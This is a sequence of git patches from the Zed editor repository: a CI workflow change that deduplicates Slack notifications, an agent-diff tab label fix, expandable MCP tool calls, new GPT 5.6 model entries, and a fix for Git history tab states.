           MATCHED_PRIORITY=$(echo "$ISSUE_LABELS_JSON" | jq -r --argjson priority "$PRIORITY_LABELS" 'map(select(. as $x | $priority | index($x) != null)) | first // ""')
           HAS_REPRO=$(echo "$ISSUE_LABELS_JSON" | jq --arg l "$REPRODUCIBLE_LABEL" 'index($l) != null')
           HAS_FREQ=$(echo "$ISSUE_LABELS_JSON" | jq --argjson freq "$FREQUENCY_LABELS" 'any(.[]; . as $x | $freq | index($x) != null)')
 
-          if [ -n "$MATCHED_PRIORITY" ] && [ "$HAS_REPRO" = "true" ] && [ "$HAS_FREQ" = "true" ]; then
-            echo "Confirmed high-frequency $MATCHED_PRIORITY, notifying"
-            echo "notify_reason=confirmed $MATCHED_PRIORITY" >> "$GITHUB_OUTPUT"
-            echo "should_notify=true" >> "$GITHUB_OUTPUT"
-          else
+          if [ -z "$MATCHED_PRIORITY" ] || [ "$HAS_REPRO" != "true" ] || [ "$HAS_FREQ" != "true" ]; then
             echo "Combination not yet satisfied (priority=$MATCHED_PRIORITY, reproducible=$HAS_REPRO, frequency=$HAS_FREQ), skipping"
             echo "should_notify=false" >> "$GITHUB_OUTPUT"
+            exit 0
+          fi
+
+          # A bulk label apply emits one `labeled` event per label, so several
+          # runs reach this point. Creating the reaction is our atomic claim:
+          # one run gets 201 and notifies, the rest get 200. It's scoped to our
+          # own reaction, so a human's reaction can't suppress it.
+          REACTION_PAYLOAD=$(jq -cn --arg content "$MARKER_REACTION" '{content: $content}')
+          REACTION_RESPONSE=$(api -w "\n%{http_code}" -X POST \
+            "https://api.github.com/repos/$GH_REPO/issues/$ISSUE_NUMBER/reactions" \
+            -d "$REACTION_PAYLOAD")
+          REACTION_BODY=$(echo "$REACTION_RESPONSE" | sed '$d')
+          REACTION_STATUS=$(echo "$REACTION_RESPONSE" | tail -n1)
+
+          if [ "$REACTION_STATUS" = "200" ]; then
+            echo "First responders already notified for this issue (reaction present), skipping"
+            echo "should_notify=false" >> "$GITHUB_OUTPUT"
+            exit 0
           fi
 
+          if [ "$REACTION_STATUS" != "201" ]; then
+            echo "::error::Unexpected status $REACTION_STATUS creating reaction: $REACTION_BODY"
+            exit 1
+          fi
+
+          REACTION_ID=$(echo "$REACTION_BODY" | jq -r '.id')
+          LABELS=$(echo "$ISSUE_LABELS_JSON" | jq -r 'join(", ")')
+
+          echo "Confirmed high-frequency $MATCHED_PRIORITY, notifying"
+          {
+            echo "notify_reason=confirmed $MATCHED_PRIORITY"
+            echo "issue_labels=$LABELS"
+            echo "reaction_id=$REACTION_ID"
+            echo "should_notify=true"
+          } >> "$GITHUB_OUTPUT"
+
       - name: Build Slack message payload
         if: steps.check-label.outputs.should_notify == 'true'
         env:
@@ -65,10 +111,8 @@ jobs:
           ISSUE_URL: ${{ github.event.issue.html_url }}
           LABELED_BY: ${{ github.event.sender.login }}
           NOTIFY_REASON: ${{ steps.check-label.outputs.notify_reason }}
-          LABELS_JSON: ${{ toJson(github.event.issue.labels.*.name) }}
+          LABELS: ${{ steps.check-label.outputs.issue_labels }}
         run: |
-          LABELS=$(echo "$LABELS_JSON" | jq -r 'join(", ")')
-
           jq -n \
             --arg notify_reason "$NOTIFY_REASON" \
             --arg issue_title "$ISSUE_TITLE" \
@@ -111,9 +155,27 @@ jobs:
         if: steps.check-label.outputs.should_notify == 'true'
         env:
           SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_FIRST_RESPONDERS }}
+          GH_TOKEN: ${{ github.token }}
+          GH_REPO: ${{ github.repository }}
+          ISSUE_NUMBER: ${{ github.event.issue.number }}
+          REACTION_ID: ${{ steps.check-label.outputs.reaction_id }}
         run: |
+          set -uo pipefail
+
+          release_claim() {
+            if [ -n "${REACTION_ID:-}" ]; then
+              echo "Releasing reaction claim so the notification can be retried"
+              curl -sS -X DELETE \
+                -H "Authorization: Bearer $GH_TOKEN" \
+                -H "Accept: application/vnd.github+json" \
+                -H "X-GitHub-Api-Version: 2022-11-28" \
+                "https://api.github.com/repos/$GH_REPO/issues/$ISSUE_NUMBER/reactions/$REACTION_ID" || true
+            fi
+          }
+
           if [ -z "$SLACK_WEBHOOK_URL" ]; then
             echo "::error::SLACK_WEBHOOK_FIRST_RESPONDERS secret is not set"
+            release_claim
             exit 1
           fi
 
@@ -129,6 +191,7 @@ jobs:
 
           if [ "$HTTP_STATUS" -ne 200 ]; then
             echo "::error::Slack notification failed with status $HTTP_STATUS: $HTTP_BODY"
+            release_claim
             exit 1
           fi
 

From 717e1c0590fde11b6d397e0647f7cc0b9b3245e6 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Thu, 9 Jul 2026 10:41:58 -0300
Subject: [PATCH 366/772] Make agent diff tab consistent with commit view tab
 (#60470)

This makes them more consistent with regards to limiting the label size.
These two tabs are similar because they frequently house a label that's
pretty big, and the agent diff tab didn't truncate it in any way.

Release Notes:

- N/A
---
 crates/agent_ui/src/agent_diff.rs | 49 +++++++++++++++++++------------
 1 file changed, 31 insertions(+), 18 deletions(-)

diff --git a/crates/agent_ui/src/agent_diff.rs b/crates/agent_ui/src/agent_diff.rs
index 079b043e467d70..524cb0b07473f4 100644
--- a/crates/agent_ui/src/agent_diff.rs
+++ b/crates/agent_ui/src/agent_diff.rs
@@ -29,11 +29,11 @@ use std::{
     sync::Arc,
 };
 use ui::{CommonAnimationExt, Divider, IconButtonShape, KeyBinding, Tooltip, prelude::*};
-use util::ResultExt;
+use util::{ResultExt, truncate_and_trailoff};
 use workspace::{
     Item, ItemHandle, ItemNavHistory, ToolbarItemEvent, ToolbarItemLocation, ToolbarItemView,
     Workspace,
-    item::{ItemEvent, SaveOptions, TabContentParams},
+    item::{ItemEvent, SaveOptions, TabContentParams, TabTooltipContent},
     searchable::SearchableItemHandle,
 };
 use zed_actions::assistant::ToggleFocus;
@@ -528,23 +528,33 @@ impl Item for AgentDiffPane {
             .update(cx, |editor, cx| editor.navigate(data, window, cx))
     }
 
-    fn tab_tooltip_text(&self, _: &App) -> Option<SharedString> {
-        Some("Agent Diff".into())
+    fn tab_content(&self, params: TabContentParams, _window: &Window, cx: &App) -> AnyElement {
+        let label_content = self.tab_content_text(params.detail.unwrap_or_default(), cx);
+
+        Label::new(label_content)
+            .when(!params.selected, |this| this.color(Color::Muted))
+            .into_any_element()
     }
 
-    fn tab_content(&self, params: TabContentParams, _window: &Window, cx: &App) -> AnyElement {
+    fn tab_tooltip_content(&self, cx: &App) -> Option<TabTooltipContent> {
         let title = self.thread.read(cx).title();
-        Label::new(if let Some(title) = title {
-            format!("Review: {}", title)
-        } else {
-            "Review".to_string()
-        })
-        .color(if params.selected {
-            Color::Default
-        } else {
-            Color::Muted
-        })
-        .into_any_element()
+
+        Some(TabTooltipContent::Custom(Box::new(Tooltip::element({
+            let title = title.map(|title| title.to_string());
+
+            move |_, _| {
+                v_flex()
+                    .child(Label::new(
+                        title.clone().unwrap_or_else(|| "Review".to_string()),
+                    ))
+                    .child(
+                        Label::new("Agent Diff")
+                            .color(Color::Muted)
+                            .size(LabelSize::Small),
+                    )
+                    .into_any_element()
+            }
+        }))))
     }
 
     fn telemetry_event_text(&self) -> Option<&'static str> {
@@ -666,8 +676,11 @@ impl Item for AgentDiffPane {
         });
     }
 
-    fn tab_content_text(&self, _detail: usize, _cx: &App) -> SharedString {
-        "Agent Diff".into()
+    fn tab_content_text(&self, _detail: usize, cx: &App) -> SharedString {
+        match self.thread.read(cx).title() {
+            Some(title) => format!("Review: {}", truncate_and_trailoff(&title, 20)).into(),
+            None => "Review".into(),
+        }
     }
 }
 

From 3c45bfb2059ab5e6a55ef61f36a3b3572b62932c Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Thu, 9 Jul 2026 18:49:57 +0200
Subject: [PATCH 367/772] agent_ui: Allow expanding running MCP tool calls
 (#60695)

Closes #57144

Release Notes:

- agent: Allow expanding in-progress MCP tool calls

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 crates/agent_ui/src/conversation_view/thread_view.rs | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 086466981200f6..8e302db68d06b9 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -8116,7 +8116,13 @@ impl ThreadView {
         let use_card_layout = needs_confirmation || is_edit || is_terminal_tool;
 
         let has_image_content = tool_call.content.iter().any(|c| c.image().is_some());
-        let is_collapsible = !tool_call.content.is_empty() && !needs_confirmation;
+
+        let should_show_raw_input = !is_terminal_tool && !is_edit && !has_image_content;
+
+        let has_content = !tool_call.content.is_empty()
+            || (should_show_raw_input && tool_call.raw_input.is_some());
+
+        let is_collapsible = has_content && !needs_confirmation;
         let mut is_open = self
             .entry_view_state
             .read(cx)
@@ -8124,8 +8130,6 @@ impl ThreadView {
 
         is_open |= needs_confirmation;
 
-        let should_show_raw_input = !is_terminal_tool && !is_edit && !has_image_content;
-
         let input_output_header = |label: SharedString| {
             Label::new(label)
                 .size(LabelSize::XSmall)

From d8c8040462c50f5fc43ef263da4cc8b753f718e1 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Thu, 9 Jul 2026 19:37:43 +0200
Subject: [PATCH 368/772] open_ai: Add GPT 5.6 models (#60697)

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>

Add new GPT 5.6 models

Release Notes:

- open_ai: Added support for GPT 5.6 Sol/Terra/Luna

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 .../language_models/src/provider/open_ai.rs   |  3 ++
 crates/open_ai/src/open_ai.rs                 | 51 +++++++++++++++++--
 2 files changed, 49 insertions(+), 5 deletions(-)

diff --git a/crates/language_models/src/provider/open_ai.rs b/crates/language_models/src/provider/open_ai.rs
index 368c1a6c3bcaf8..eabb0ed5032958 100644
--- a/crates/language_models/src/provider/open_ai.rs
+++ b/crates/language_models/src/provider/open_ai.rs
@@ -464,6 +464,9 @@ impl LanguageModel for OpenAiLanguageModel {
             | Model::FivePointFourPro
             | Model::FivePointFive
             | Model::FivePointFivePro
+            | Model::FivePointSixSol
+            | Model::FivePointSixTerra
+            | Model::FivePointSixLuna
             | Model::O3 => true,
             Model::Four => false,
             Model::Custom {
diff --git a/crates/open_ai/src/open_ai.rs b/crates/open_ai/src/open_ai.rs
index ec25a80d7e21c8..3f1502b9cb0da7 100644
--- a/crates/open_ai/src/open_ai.rs
+++ b/crates/open_ai/src/open_ai.rs
@@ -68,7 +68,6 @@ pub enum Model {
     #[serde(rename = "gpt-5")]
     Five,
     #[serde(rename = "gpt-5-mini")]
-    #[default]
     FiveMini,
     #[serde(rename = "gpt-5-nano")]
     FiveNano,
@@ -90,6 +89,13 @@ pub enum Model {
     FivePointFive,
     #[serde(rename = "gpt-5.5-pro")]
     FivePointFivePro,
+    #[serde(rename = "gpt-5.6-sol")]
+    #[default]
+    FivePointSixSol,
+    #[serde(rename = "gpt-5.6-terra")]
+    FivePointSixTerra,
+    #[serde(rename = "gpt-5.6-luna")]
+    FivePointSixLuna,
     #[serde(rename = "custom")]
     Custom {
         name: String,
@@ -116,7 +122,7 @@ const fn default_supports_images() -> bool {
 
 impl Model {
     pub fn default_fast() -> Self {
-        Self::FiveMini
+        Self::FivePointSixLuna
     }
 
     pub fn from_id(id: &str) -> Result<Self> {
@@ -136,6 +142,9 @@ impl Model {
             "gpt-5.4-pro" => Ok(Self::FivePointFourPro),
             "gpt-5.5" => Ok(Self::FivePointFive),
             "gpt-5.5-pro" => Ok(Self::FivePointFivePro),
+            "gpt-5.6-sol" => Ok(Self::FivePointSixSol),
+            "gpt-5.6-terra" => Ok(Self::FivePointSixTerra),
+            "gpt-5.6-luna" => Ok(Self::FivePointSixLuna),
             invalid_id => anyhow::bail!("invalid model id '{invalid_id}'"),
         }
     }
@@ -157,6 +166,9 @@ impl Model {
             Self::FivePointFourPro => "gpt-5.4-pro",
             Self::FivePointFive => "gpt-5.5",
             Self::FivePointFivePro => "gpt-5.5-pro",
+            Self::FivePointSixSol => "gpt-5.6-sol",
+            Self::FivePointSixTerra => "gpt-5.6-terra",
+            Self::FivePointSixLuna => "gpt-5.6-luna",
             Self::Custom { name, .. } => name,
         }
     }
@@ -178,6 +190,9 @@ impl Model {
             Self::FivePointFourPro => "gpt-5.4-pro",
             Self::FivePointFive => "gpt-5.5",
             Self::FivePointFivePro => "gpt-5.5-pro",
+            Self::FivePointSixSol => "gpt-5.6-sol",
+            Self::FivePointSixTerra => "gpt-5.6-terra",
+            Self::FivePointSixLuna => "gpt-5.6-luna",
             Self::Custom { display_name, .. } => display_name.as_deref().unwrap_or(&self.id()),
         }
     }
@@ -199,6 +214,9 @@ impl Model {
             Self::FivePointFourPro => 1_050_000,
             Self::FivePointFive => 1_050_000,
             Self::FivePointFivePro => 1_050_000,
+            Self::FivePointSixSol => 1_050_000,
+            Self::FivePointSixTerra => 1_050_000,
+            Self::FivePointSixLuna => 1_050_000,
             Self::Custom { max_tokens, .. } => *max_tokens,
         }
     }
@@ -223,6 +241,9 @@ impl Model {
             Self::FivePointFourPro => Some(128_000),
             Self::FivePointFive => Some(128_000),
             Self::FivePointFivePro => Some(128_000),
+            Self::FivePointSixSol => Some(128_000),
+            Self::FivePointSixTerra => Some(128_000),
+            Self::FivePointSixLuna => Some(128_000),
         }
     }
 
@@ -236,6 +257,7 @@ impl Model {
             | Self::FivePointFour
             | Self::FivePointFourMini
             | Self::FivePointFourNano => Some(ReasoningEffort::None),
+            Self::FivePointSixSol => Some(ReasoningEffort::Low),
             Self::O3
             | Self::Five
             | Self::FiveMini
@@ -243,7 +265,9 @@ impl Model {
             | Self::FivePointThreeCodex
             | Self::FivePointFourPro
             | Self::FivePointFive
-            | Self::FivePointFivePro => Some(ReasoningEffort::Medium),
+            | Self::FivePointFivePro
+            | Self::FivePointSixTerra
+            | Self::FivePointSixLuna => Some(ReasoningEffort::Medium),
             _ => None,
         }
     }
@@ -290,6 +314,14 @@ impl Model {
                 ReasoningEffort::High,
                 ReasoningEffort::XHigh,
             ],
+            Self::FivePointSixSol | Self::FivePointSixTerra | Self::FivePointSixLuna => &[
+                ReasoningEffort::None,
+                ReasoningEffort::Low,
+                ReasoningEffort::Medium,
+                ReasoningEffort::High,
+                ReasoningEffort::XHigh,
+                ReasoningEffort::Max,
+            ],
             Self::FivePointTwo
             | Self::FivePointFour
             | Self::FivePointFive
@@ -333,6 +365,9 @@ impl Model {
             | Self::FivePointFourPro
             | Self::FivePointFive
             | Self::FivePointFivePro
+            | Self::FivePointSixSol
+            | Self::FivePointSixTerra
+            | Self::FivePointSixLuna
             | Self::FiveNano => true,
             Self::O3 | Model::Custom { .. } => false,
         }
@@ -360,7 +395,10 @@ impl Model {
             | Self::FivePointFour
             | Self::FivePointFourPro
             | Self::FivePointFive
-            | Self::FivePointFivePro => true,
+            | Self::FivePointFivePro
+            | Self::FivePointSixSol
+            | Self::FivePointSixTerra
+            | Self::FivePointSixLuna => true,
             Self::Four
             | Self::FourOmniMini
             | Self::O3
@@ -387,7 +425,10 @@ impl Model {
             | Self::FivePointThreeCodex
             | Self::FivePointFourMini
             | Self::FivePointFour
-            | Self::FivePointFive => true,
+            | Self::FivePointFive
+            | Self::FivePointSixSol
+            | Self::FivePointSixTerra
+            | Self::FivePointSixLuna => true,
             Self::Four
             | Self::FiveNano
             | Self::FivePointFourNano

From 35ffa8f480838257ae9650027cb9847505a0882b Mon Sep 17 00:00:00 2001
From: Revantark <revantark@gmail.com>
Date: Thu, 9 Jul 2026 23:21:16 +0530
Subject: [PATCH 369/772] git_ui: Fix history tab empty and detached HEAD
 states (#57959)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR fixes a few History tab edge cases in the Git Panel.

For a fresh repo with no commits, the History tab now finishes loading
and shows No commits yet instead
of sitting on Loading… indefinitely or falling into a misleading
empty/error state.

It also fixes detached HEAD history loading. In that case, the Git Panel
asks the backend to load history
from the current commit SHA. The local git backend was accidentally
treating the raw object ID bytes as a
string instead of formatting them as a normal hex SHA, so git log could
fail before returning any
commits. The backend now passes the SHA in the format git expects.

**Repro for empty repo:**

mkdir /tmp/zed-empty-history
cd /tmp/zed-empty-history
git init
zed .

Open Git Panel → History.

Before: History could stay stuck on Loading….
After: History shows No commits yet.

**Repro for detached HEAD:**

mkdir /tmp/zed-detached-history
cd /tmp/zed-detached-history
git init
echo hi > file
git add file
git commit -m initial
git checkout --detach HEAD
zed .

Open Git Panel → History.

Before: History could fail to load commits.
After: History shows the commit history normally.




Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


Release Notes:

- Fixed Git history tab states for empty repositories and detached HEAD
history.

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/fs/src/fake_git_repo.rs |  13 +-
 crates/git/src/repository.rs   |  86 ++++++--
 crates/git_ui/src/git_panel.rs | 385 ++++++++++++++++++++++++++-------
 3 files changed, 391 insertions(+), 93 deletions(-)

diff --git a/crates/fs/src/fake_git_repo.rs b/crates/fs/src/fake_git_repo.rs
index ba23efb166b56a..00e91cb7998b9f 100644
--- a/crates/fs/src/fake_git_repo.rs
+++ b/crates/fs/src/fake_git_repo.rs
@@ -262,7 +262,18 @@ impl GitRepository for FakeGitRepository {
 
     fn show(&self, commit: String) -> BoxFuture<'_, Result<CommitDetails>> {
         self.with_state_async(false, move |state| {
-            let sha = state.refs.get(&commit).cloned().unwrap_or(commit);
+            let sha = match state.refs.get(&commit) {
+                Some(sha) => sha.clone(),
+                // Real git fails to show an unresolvable revision (e.g. HEAD on an
+                // unborn branch), so only fall back to treating the input as a sha.
+                None => {
+                    anyhow::ensure!(
+                        commit.parse::<Oid>().is_ok(),
+                        "unable to resolve revision: {commit}"
+                    );
+                    commit
+                }
+            };
             Ok(CommitDetails {
                 sha: sha.into(),
                 message: "initial commit".into(),
diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index 6c88ee4e688336..7bea8283d700f8 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -18,6 +18,7 @@ use smallvec::SmallVec;
 use smol::io::{AsyncBufReadExt, AsyncReadExt, BufReader};
 use text::LineEnding;
 
+use std::borrow::Cow;
 use std::collections::HashSet;
 use std::ffi::{OsStr, OsString};
 use std::sync::atomic::AtomicBool;
@@ -757,20 +758,22 @@ pub enum LogSource {
 }
 
 impl LogSource {
-    fn get_args(&self) -> Result<Vec<&str>> {
+    fn get_args(&self) -> Vec<Cow<'_, str>> {
         match self {
-            LogSource::All => Ok(vec![
-                "--ignore-missing", // needed in case of unborn HEAD
-                "--branches",
-                "--remotes",
-                "--tags",
-                "HEAD",
-            ]),
-            LogSource::Branch(branch) => Ok(vec![branch.as_str()]),
-            LogSource::Sha(oid) => Ok(vec![
-                str::from_utf8(oid.as_bytes()).context("Failed to build str from sha")?,
-            ]),
-            LogSource::Path(path) => Ok(vec!["--follow", "--", path.as_unix_str()]),
+            LogSource::All => vec![
+                Cow::Borrowed("--ignore-missing"), // needed in case of unborn HEAD
+                Cow::Borrowed("--branches"),
+                Cow::Borrowed("--remotes"),
+                Cow::Borrowed("--tags"),
+                Cow::Borrowed("HEAD"),
+            ],
+            LogSource::Branch(branch) => vec![Cow::Borrowed(branch.as_str())],
+            LogSource::Sha(oid) => vec![Cow::Owned(oid.to_string())],
+            LogSource::Path(path) => vec![
+                Cow::Borrowed("--follow"),
+                Cow::Borrowed("--"),
+                Cow::Borrowed(path.as_unix_str()),
+            ],
         }
     }
 }
@@ -3111,8 +3114,9 @@ impl GitRepository for RealGitRepository {
         let git = self.git_binary();
 
         async move {
+            let log_source_args = log_source.get_args();
             let mut git_log_command = vec!["log", GRAPH_COMMIT_FORMAT, log_order.as_arg()];
-            git_log_command.extend(log_source.get_args()?);
+            git_log_command.extend(log_source_args.iter().map(|arg| arg.as_ref()));
             let mut command = git.build_command(&git_log_command);
             command.stdout(Stdio::piped());
             command.stderr(Stdio::piped());
@@ -3182,6 +3186,7 @@ impl GitRepository for RealGitRepository {
         let git = self.git_binary();
 
         async move {
+            let log_source_args = log_source.get_args();
             let mut args = vec!["log", SEARCH_COMMIT_FORMAT];
             let hash_query = commit_hash_search_query(search_args.query.as_str())
                 .map(|query| query.to_ascii_lowercase());
@@ -3197,7 +3202,7 @@ impl GitRepository for RealGitRepository {
                 args.push(search_args.query.as_str());
             }
 
-            args.extend(log_source.get_args()?);
+            args.extend(log_source_args.iter().map(|arg| arg.as_ref()));
             let mut command = git.build_command(&args);
             command.stdout(Stdio::piped());
             command.stderr(Stdio::null());
@@ -3942,7 +3947,7 @@ mod tests {
 
     #[allow(clippy::disallowed_methods)]
     #[track_caller]
-    fn git_command<I, S>(working_directory: &Path, arguments: I)
+    fn git_command_output<I, S>(working_directory: &Path, arguments: I) -> String
     where
         I: IntoIterator<Item = S>,
         S: AsRef<OsStr>,
@@ -3963,6 +3968,19 @@ mod tests {
             "git command failed: {}",
             String::from_utf8_lossy(&output.stderr)
         );
+        String::from_utf8(output.stdout)
+            .expect("git command output was not valid UTF-8")
+            .trim()
+            .to_string()
+    }
+
+    #[track_caller]
+    fn git_command<I, S>(working_directory: &Path, arguments: I)
+    where
+        I: IntoIterator<Item = S>,
+        S: AsRef<OsStr>,
+    {
+        git_command_output(working_directory, arguments);
     }
 
     fn git_init_repo(path: &Path) {
@@ -4481,6 +4499,42 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_initial_graph_data_accepts_sha_log_source(cx: &mut TestAppContext) {
+        disable_git_global_config();
+
+        cx.executor().allow_parking();
+
+        let repo_dir = tempfile::tempdir().unwrap();
+
+        git_init_repo(repo_dir.path());
+        fs::write(repo_dir.path().join("file"), "initial").unwrap();
+        git_command(repo_dir.path(), ["add", "file"]);
+        git_command(repo_dir.path(), ["commit", "-m", "Initial commit"]);
+
+        let commit_sha: Oid = git_command_output(repo_dir.path(), ["rev-parse", "HEAD"])
+            .parse()
+            .unwrap();
+
+        let repo = RealGitRepository::new(
+            &repo_dir.path().join(".git"),
+            None,
+            Some("git".into()),
+            cx.executor(),
+        )
+        .unwrap();
+
+        let (request_tx, request_rx) = async_channel::unbounded();
+
+        repo.initial_graph_data(LogSource::Sha(commit_sha), LogOrder::DateOrder, request_tx)
+            .await
+            .unwrap();
+
+        let graph_data = request_rx.recv().await.unwrap();
+        assert_eq!(graph_data.len(), 1);
+        assert_eq!(graph_data[0].sha, commit_sha);
+    }
+
     #[gpui::test]
     async fn test_build_command_untrusted_includes_both_safety_args(cx: &mut TestAppContext) {
         cx.executor().allow_parking();
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 6c0375fcbfa179..781dd31b896c8b 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -406,6 +406,31 @@ enum GitPanelTab {
     History,
 }
 
+#[derive(Debug, PartialEq, Eq, Clone)]
+enum CommitHistory {
+    Loading,
+    /// A non-empty list can still grow on later fetches.
+    /// An empty list means the repository has no commits.
+    Loaded(Rc<[CommitHistoryEntry]>),
+    Error(SharedString),
+}
+
+fn commit_history_from_response(
+    entries: Rc<[CommitHistoryEntry]>,
+    is_loading: bool,
+    error: Option<SharedString>,
+) -> CommitHistory {
+    if !entries.is_empty() {
+        CommitHistory::Loaded(entries)
+    } else if let Some(error) = error {
+        CommitHistory::Error(error)
+    } else if is_loading {
+        CommitHistory::Loading
+    } else {
+        CommitHistory::Loaded(Rc::from([]))
+    }
+}
+
 #[derive(Debug, PartialEq, Eq, Clone, Copy, Hash)]
 enum Section {
     Conflict,
@@ -806,7 +831,7 @@ pub struct GitPanel {
     stash_entries: GitStash,
     active_tab: GitPanelTab,
     commit_history_scroll_handle: UniformListScrollHandle,
-    commit_history_entries: Option<Rc<[CommitHistoryEntry]>>,
+    commit_history: CommitHistory,
     focused_history_entry: Option<usize>,
     history_keyboard_nav: bool,
     _commit_message_buffer_subscription: Option<Subscription>,
@@ -824,7 +849,7 @@ struct BulkStaging {
     anchor: RepoPath,
 }
 
-#[derive(Clone)]
+#[derive(Clone, Debug, PartialEq, Eq)]
 struct CommitHistoryEntry {
     sha: Oid,
     tag_names: Vec<SharedString>,
@@ -1108,7 +1133,7 @@ impl GitPanel {
                 stash_entries: Default::default(),
                 active_tab: GitPanelTab::Changes,
                 commit_history_scroll_handle: UniformListScrollHandle::new(),
-                commit_history_entries: None,
+                commit_history: CommitHistory::Loading,
                 focused_history_entry: None,
                 history_keyboard_nav: false,
                 _commit_message_buffer_subscription: None,
@@ -4070,13 +4095,20 @@ impl GitPanel {
         let new_active_repository = self.project.read(cx).active_repository(cx);
         let active_repository_changed = self.active_repository.as_ref().map(Entity::entity_id)
             != new_active_repository.as_ref().map(Entity::entity_id);
-        if active_repository_changed && self.amend_pending {
-            // Leaving a repository with a pending amend: undo it so the amend
-            // state doesn't carry over to the newly active repository. The
-            // commit editor still holds the previous repository's buffer here
-            // (`reopen_commit_buffer` swaps it asynchronously below), so this
-            // restores the pre-amend draft into that repository's buffer.
-            self.set_amend_pending(false, cx);
+        if active_repository_changed {
+            if self.amend_pending {
+                // Leaving a repository with a pending amend: undo it so the amend
+                // state doesn't carry over to the newly active repository. The
+                // commit editor still holds the previous repository's buffer here
+                // (`reopen_commit_buffer` swaps it asynchronously below), so this
+                // restores the pre-amend draft into that repository's buffer.
+                self.set_amend_pending(false, cx);
+            }
+            self.git_access = None;
+            self._repo_subscriptions.clear();
+            if self.active_tab == GitPanelTab::History {
+                self.set_commit_history(CommitHistory::Loading, cx);
+            }
         }
         self.active_repository = new_active_repository;
         self.reopen_commit_buffer(window, cx);
@@ -4198,11 +4230,6 @@ impl GitPanel {
             .as_ref()
             .and_then(|op| self.entry_by_path(&op.anchor));
 
-        let active_repository = self.project.read(cx).active_repository(cx);
-        if active_repository != self.active_repository {
-            self.active_repository = active_repository;
-            self.git_access = None;
-        }
         self.entries.clear();
         self.entries_indices.clear();
         self.single_staged_entry.take();
@@ -5705,44 +5732,43 @@ impl GitPanel {
     fn render_history_tab(&self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         v_flex().flex_1().size_full().overflow_hidden().map(|this| {
             let has_repo = self.active_repository.is_some();
-            let has_commits = self
-                .commit_history_entries
-                .as_ref()
-                .map_or(false, |entries| !entries.is_empty());
-            let is_loading = self.commit_history_entries.is_none() && has_repo;
-            if is_loading {
-                this.child(
-                    h_flex()
-                        .flex_1()
-                        .justify_center()
-                        .child(Label::new("Loading Commit History…").color(Color::Muted)),
-                )
-            } else if !has_repo || !has_commits {
-                this.child(
-                    h_flex()
-                        .flex_1()
-                        .justify_center()
-                        .child(Label::new("No commits yet").color(Color::Muted)),
-                )
-            } else {
-                match self.render_commit_history(window, cx) {
-                    Some(history) => this.child(history),
-                    None => this.child(
-                        h_flex()
-                            .flex_1()
-                            .justify_center()
-                            .child(Label::new("Failed to load commits").color(Color::Muted)),
-                    ),
+            match &self.commit_history {
+                _ if !has_repo => {
+                    this.child(Self::render_history_placeholder("No repository found"))
                 }
+                CommitHistory::Error(_) => this.child(Self::render_history_placeholder(
+                    "Failed to load commit history",
+                )),
+                CommitHistory::Loading => {
+                    this.child(Self::render_history_placeholder("Loading Commit History…"))
+                }
+                CommitHistory::Loaded(entries) if entries.is_empty() => {
+                    this.child(Self::render_history_placeholder("No commits yet"))
+                }
+                CommitHistory::Loaded(_) => match self.render_commit_history(window, cx) {
+                    Some(history) => this.child(history),
+                    None => this.child(Self::render_history_placeholder("Failed to load commits")),
+                },
             }
         })
     }
 
+    fn render_history_placeholder(message: &'static str) -> impl IntoElement {
+        h_flex()
+            .flex_1()
+            .justify_center()
+            .child(Label::new(message).color(Color::Muted))
+    }
+
+    fn commit_history_entries(&self) -> &[CommitHistoryEntry] {
+        match &self.commit_history {
+            CommitHistory::Loaded(entries) => entries,
+            CommitHistory::Loading | CommitHistory::Error(_) => &[],
+        }
+    }
+
     fn select_next_history_entry(&mut self, cx: &mut Context<Self>) {
-        let count = self
-            .commit_history_entries
-            .as_ref()
-            .map_or(0, |entries| entries.len());
+        let count = self.commit_history_entries().len();
         if count == 0 {
             return;
         }
@@ -5758,10 +5784,7 @@ impl GitPanel {
     }
 
     fn select_previous_history_entry(&mut self, cx: &mut Context<Self>) {
-        let count = self
-            .commit_history_entries
-            .as_ref()
-            .map_or(0, |entries| entries.len());
+        let count = self.commit_history_entries().len();
         if count == 0 {
             return;
         }
@@ -5780,11 +5803,7 @@ impl GitPanel {
         let Some(index) = self.focused_history_entry else {
             return;
         };
-        let Some(entry) = self
-            .commit_history_entries
-            .as_ref()
-            .and_then(|entries| entries.get(index))
-        else {
+        let Some(entry) = self.commit_history_entries().get(index) else {
             return;
         };
         let Some(active_repository) = self.active_repository.as_ref() else {
@@ -5828,12 +5847,10 @@ impl GitPanel {
             GitPanelTab::History => {
                 self.focus_handle.focus(window, cx);
                 self.load_commit_history(cx);
-                self.focused_history_entry = Some(0);
             }
             GitPanelTab::Changes => {
                 self.focus_handle.focus(window, cx);
-                self.commit_history_entries.take();
-                self.focused_history_entry = None;
+                self.set_commit_history(CommitHistory::Loading, cx);
                 self._repo_subscriptions.clear();
             }
         }
